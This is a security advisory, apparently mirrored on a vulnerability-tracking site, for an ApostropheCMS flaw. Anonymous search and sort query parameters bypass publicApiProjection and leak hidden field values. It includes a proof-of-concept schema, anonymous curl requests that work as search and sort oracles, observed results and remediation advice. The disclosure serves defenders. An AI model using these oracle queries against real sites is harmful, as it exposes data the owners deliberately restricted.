GHSA-rqgm-cfrp-4hx8

ghsaUSosv

ApostropheCMS: Unauthenticated publicApiProjection bypass via search and sort query builders in the public REST API

Advisory ansehen veröffentlicht 2026-10-21Lizenz: CC-BY-4.0

### Summary ApostropheCMS lets a module expose an anonymous read API by setting `publicApiProjection`, which whitelists the document fields unauthenticated callers may see. The public REST GET handler applies every launderable query builder from the query string *before* forcing that projection. Two of those builders, `search` and `sort`, operate on the underlying documents rather than the projected output, and neither is checked against the projection. An unauthenticated attacker can therefore: - use `?search=<word>` as a **value oracle** to confirm and locate documents by the content of a field the projection was meant to hide, and - use `?sort[hiddenField]=1` as an **ordering oracle** to rank documents by a hidden field's value. This is the same confidentiality-bypass class already patched for the `choices`/`counts` builders (gated by `choicesFieldAllowedByProjection`). That gate was never applied to `search` or `sort`. ### Details For an anonymous caller, `getRestQuery` (piece types: `modules/@apostrophecms/piece-type/index.js:1142`; pages: `modules/@apostrophecms/page/index.js`) does: ```js const query = self.find(req).attachments(true); query.applyBuildersSafely(req.query); // (1) apply ALL launderable builders from the query string ... query.project({ ...self.options.publicApiProjection, cacheInvalidatedAt: 1 }); // (2) force read projection query.set('publicApiProjection', self.options.publicApiProjection); // (3) used only by the choices/counts gate ``` `applyBuildersSafely` (`modules/@apostrophecms/doc-type/index.js:3327`) runs any builder that has a `launder` method. `search` and `sort` both have one (`doc-type/index.js:2288` and `2127`), so `?search=` and `?sort[...]=` are honored for anonymous requests. **Search vector.** The `search` builder adds `{ $text: { $search: <user input> } }` (`doc-type/index.js:2282`). The `$text` index covers `highSearchText` / `lowSearchText` / `title` / `searchBoost` (`modules/@apostrophecms/doc/index.js:612`). `highSearchText` / `lowSearchText` are built at save time by `@apostrophecms/search:getSearchTexts` → `apos.schema.indexFields(schema, doc, texts)` (`modules/@apostrophecms/search/index.js:377`), which indexes every schema field where `searchable !== false` (the default for string/text fields). `publicApiProjection` does not imply `searchable: false`. Step (2) narrows the output but not the `$text` filter, so the response returns the projected `{title, slug, _id}` of exactly the documents whose hidden field contains the searched word. **Sort vector.** `finalizeSort` (`doc-type/index.js:3526`) forwards raw user sort keys to MongoDB (it only rewrites fields flagged `sortify: true`). `?sort[hiddenField]=1` orders results by a projection-excluded field. Combined with `perPage`/`page`, an attacker can page through the fully ordered set. Neither builder consults `publicApiProjection`, whereas `choices`/`counts` are gated at `doc-type/index.js:2807` via `choicesFieldAllowedByProjection`. ### PoC **Preconditions:** the piece/page type sets `publicApiProjection`, and its schema has at least one searchable (default) or sortable field not included in the projection. Test type: `article` exposes only `title`, `slug`, `_id`, but has hidden `secret` (integer) and `secretNote` (searchable string): ```js export default { extend: '@apostrophecms/piece-type', options: { publicApiProjection: { title: 1, slug: 1, _id: 1 } }, fields: { add: { secret: { type: 'integer' }, secretNote: { type: 'string' } // searchable by default; NOT in the projection } } }; ``` Five articles were inserted and published via the authenticated REST API: `A.secret=50, secretNote="zzsecretalpha"`; `B=10/zzsecretbravo`; `C=90/zzsecretcharlie`; `D=30/zzsecretdelta`; `E=70/zzsecretecho`. The insert responses confirm the hidden `secretNote` value is written into the search index, e.g. for A: `"highSearchText": "... zzsecretalpha"`, `"lowSearchText": "... zzsecretalpha"`. Anonymous requests (no credentials, no session): ```bash # [1] Baseline: projection hides secret/secretNote on direct read curl -s 'http://localhost:3000/api/v1/article?perPage=1' # [2] Search oracle: value exists ONLY in hidden secretNote curl -s 'http://localhost:3000/api/v1/article?search=zzsecretalpha' curl -s 'http://localhost:3000/api/v1/article?search=zznotpresentxyz' # [3] Sort oracle: order by hidden integer field curl -s 'http://localhost:3000/api/v1/article?sort%5Bsecret%5D=1' curl -s 'http://localhost:3000/api/v1/article?sort%5Bsecret%5D=-1' # Negative control: projection override is blocked curl -s 'http://localhost:3000/api/v1/article?project%5BsecretNote%5D=1&perPage=1' ``` Results (verified on ApostropheCMS 4.32.2, MongoDB 7.0): | Request (anonymous) | Observed | Verdict | | ------------------------- | ------------------------------------------------- | ------------------------------------- | | `GET /api/v1/article` | `_id,title,slug,type,metaType,cacheInvalidatedAt` | projection works on direct read | | `?search=zzsecretalpha` | only Article A (with textScore) | **leak**: locates doc by hidden field | | `?search=zznotpresentxyz` | 0 results | oracle confirmed | | `?sort[secret]=1` | B, D, A, E, C (= 10,30,50,70,90) | **leak**: full hidden ordering | | `?sort[secret]=-1` | C, E, A, D, B | reverse confirmed | | `?project[secretNote]=1` | secretNote absent | gated (projection override blocked) | ### Impact Unauthenticated, network-reachable partial disclosure of fields the developer explicitly restricted with `publicApiProjection`: - **Search oracle:** confirm and locate documents by words in hidden fields (e.g. internal notes, contact emails, draft metadata, moderation/status flags), returning the `title`/`slug`/`_id` of matches. - **Sort oracle:** full ordering of documents by a hidden field. With one known reference value or a paging binary search, exact hidden values can be recovered. No authentication or user interaction required. Not a full field dump, but a targeted oracle over exactly the data the projection is meant to conceal. Affects sites that configure `publicApiProjection` on piece types or pages, up to and including 4.32.2 (same code path present on current `main`). ### Remediation Gate `search`, `sort` (and `autocomplete`, which feeds `search`) on the public API path the same way `choices`/`counts` are gated. When `publicApiProjection` is in force: - **sort:** reject or drop any sort key not permitted by the projection, reusing `choicesFieldAllowedByProjection`. - **search:** restrict full-text search to fields the projection exposes (e.g. a projection-scoped search text), or refuse the `search` builder when the projection excludes any searchable field.

01

beschreibt (1)

Zugehörige CVEs.

IDSchweregrad ausnutzbar
CVE-2026-112954US——
ApostropheCMS is an open-source Node.js content management system. Prior to 4.34.0, a public REST API type that uses publicApiProjection can expose excluded searchable or sortable…
02

Referenzen

Externe Belege — Patches, Meldungen, Analysen.

scry

Advisories wie diese benennen die exponierten Produkte, die Angreifer auf Ihrer Angriffsfläche ins Visier nehmen. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan